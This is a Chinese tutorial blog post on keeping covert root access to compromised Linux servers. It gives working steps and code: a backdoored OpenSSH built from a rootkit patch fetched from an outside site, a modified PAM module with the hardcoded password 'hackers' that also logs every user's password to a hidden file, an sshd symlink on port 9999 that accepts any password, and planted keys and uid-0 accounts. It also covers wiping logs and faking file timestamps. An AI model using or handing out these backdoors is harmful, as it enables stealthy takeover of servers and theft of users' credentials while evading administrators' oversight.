第144天:内网安全-Linux权限维持&OpenSSH&PAM后门&SSH软链接&公私钥登录

目录

[案例一: 权限维持-Linux-替换版本-OpenSSH 后门](#案例一: 权限维持-Linux-替换版本-OpenSSH 后门)

[案例二: 权限维持-Linux-更改验证-SSH-PAM 后门](#案例二: 权限维持-Linux-更改验证-SSH-PAM 后门)

[案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号](#案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号)

ssh软链接

公私钥

新帐号


案例一: 权限维持-Linux-替换版本-OpenSSH 后门

原理:替换本身操作系统的 ssh 协议支撑软件 openssh,重新安装自定义的 openssh,

达到记录帐号密码,也可以采用万能密码连接的功能!

查看当前ssh的版本 ssh -V

OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017

环境准备

yum -y install openssl openssl-devel pam-devel zlib zlib-devel

yum -y install gcc gcc-c++ make

yum -y install patch

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar -xzvf openssh-5.9p1.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff

安装依赖

复制代码
yum -y install openssl openssl-devel pam-devel zlib zlib-devel    

yum -y install gcc gcc-c++ make  

yum -y install patch 

下载替换版本和后门文件

复制代码
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

解压文件

复制代码
tar -xzvf openssh-5.9p1.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

安装openssh

复制代码
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff  
# 进入openssh-5.9p1,把sshbd5.9p1.diff写入到patch中

也就是把这个文件,复制成外面这个文件并覆盖,所以之前下载的那个应该没啥用哈^_^

修改配置万能密码

修改版本,version.h文件

修改与之前版本一致

设置安装目录,编译并且安装

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

查看当前版本

连接,这种方式感觉不是很稳定哈。

这里连接的时候可能会出bug,尝试下面这篇文章的解决方法

SSH 服务 异常报错"Failed to start OpenSSH Server daemon" 该怎么办???-CSDN博客

有可能还是显示错误,但是可以连接了

利用admin!@#45去链接

修改安装时间和清除日志的后续操作,来自这篇文章Linux OpenSSH后门的添加与防范

恢复新配置文件的日期,使其与旧文件的日期一致。对ssh_config和sshd_config文件的内容进行对比,使其配置文件一致,然后修改文件日期。

复制代码
touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

清除操作日志,代码如下。

复制代码
export HISTFILE=/dev/null
export HISTSIZE=0
cd /etc/httpd/logs/
sed -i '/192.168.52.175/d' access_log*
echo >/root/.bash_history //清空操作日志

案例二: 权限维持-Linux-更改验证-SSH-PAM 后门

pam相当于windows的kerberos

PAM是一种认证模块,PAM可以作为Linux登录验证和各类基础服务的认证,简单来说就是一种用于Linux系统上的用户身份验证的机制。进行认证时首先确定是什么服务,然后加载相应的PAM的配置文件(位于/etc/pam.d),最后调用认证文件(位于/lib/security)进行安全认证

查询pam版本

复制代码
rpm -qa | grep pam

下载对应的版本并且解压

bash 复制代码
wget https://github.com/linux-pam/linux-pam/releases/tag/Linux-PAM-1_1_8

安装必要的依赖

bash 复制代码
yum install gcc flex flex-devel -y

修改pam_unix_auth.c文件

bash 复制代码
cd Linux-PAM-1.1.1

cd modules/pam_unix/

vim pam_unix_auth.c

把179行的文件进行修改

hackers即为新的登录密码,可以进行修改

bash 复制代码
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){ 
FILE * fp; 
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p); 
fclose(fp);} 
name = p = NULL;
AUTH_RETURN;

记得要对齐格式

编译安装

bash 复制代码
./configure && make

把原来的pam_unix.so文件备份,并把新的pam_unix.so,复制到原来的位置

bash 复制代码
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

cd modules/pam_unix/.libs

cp pam_unix.so /usr/lib64/security/pam_unix.so

利用hackers登录

经过实验,这种方式比第一种稳定一点

更多进阶玩法:Linux Pam后门总结拓展 - 先知社区

案例三: 权限维持-Linux-登录方式-软链接&公私钥&新帐号

ssh软链接

查看是否支持pam身份验证

复制代码
cat /etc/ssh/sshd_config|grep UsePAM

建立软链接,并且如果有防火墙的话,需要设置允许对应端口通行

复制代码
ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
 
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
 
firewall-cmd --reload
#重启防火墙服务
 
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行

这个时候连接ssh的9999端口,密码可以随便输入

复制代码
ssh root@ip -p 9999

但是缺点就是容易被发现,突然多开了一个端口。

公私钥

参考文章:SSH密钥登陆 - 哔哩哔哩

攻击主机生成公钥

复制代码
ssh-keygen -t rsa #三次回车

id_rsa : 私钥

id_rsa.pub : 公钥

把这个文件复制到受控主机.ssh目录下的authorized_keys,这个目录都在用户的家目录里面

如果没有.ssh目录的话需要手工创建

创建文件,把id_rsa.pub中的内容复制过去

如果是自己创建的这两个文件记得修改权限

复制代码
chmod 600  /root/.ssh/authorized_keys

chmod  700 /root/.ssh

这个时候还是连接不上,因为不支持使用公私钥连接,受控主机要开启验证

复制代码
vim /etc/ssh/sshd_config
#尾行添加
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys


PasswordAuthentication no           
#这个是关闭允许密码登录,不关闭的话用密钥也可以登录,用密码也可以登录

然后重启服务

复制代码
systemctl restart sshd.service

再次连接的时候都不需要验证直接可以连接上

新帐号

两种方式

复制代码
#添加账号test1,设置uid为0,密码为123456
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1



echo "test1:x:0:0::/:/bin/sh" >> /etc/passwd          
#增加超级用户账号
passwd test2                           
#修改test2的密码为123456

方法一

利用test1密码123456连接,成功连接

方法二:

利用test2/123456建立连接成功,反弹的shell为sh,更加验证了正确性

相关推荐
徐子元竟然被占了!!5 小时前
Linux-systemctl
linux·数据库·oracle
_w_z_j_8 小时前
Linux----mmap
linux
程序员zgh9 小时前
Linux系统常用命令集合
linux·运维·服务器·c语言·开发语言·c++
Bigan(安)9 小时前
【奶茶Beta专项】【LVGL9.4源码分析】09-core-obj_class对象类系统
linux·c语言·mcu·arm·unix
紫郢剑侠9 小时前
飞秋@Windows +iptux@Linux,打造内网跨平台IM环境
linux·运维·服务器·im·qq
保持低旋律节奏9 小时前
linux——调试
linux·运维·服务器
牛奶咖啡1310 小时前
Linux系统故障排查思路实践教程(下)
linux·运维·服务器·su命令切换用户问题解决·文件打开过多问题解决·linux网络故障问题解决·linux故障排查思路
coder4_10 小时前
Linux 数据同步全攻略:NFS 共享、inotify+rsync 与 sersync 实战指南
linux·rsync·文件共享·nfs·数据同步·inotify·实时备份
Lynnxiaowen10 小时前
今天我们继续学习kubernetes内容Helm
linux·学习·容器·kubernetes·云计算
Bigan(安)10 小时前
【奶茶Beta专项】【LVGL9.4源码分析】08-theme主题管理
linux·c语言·mcu·arm·unix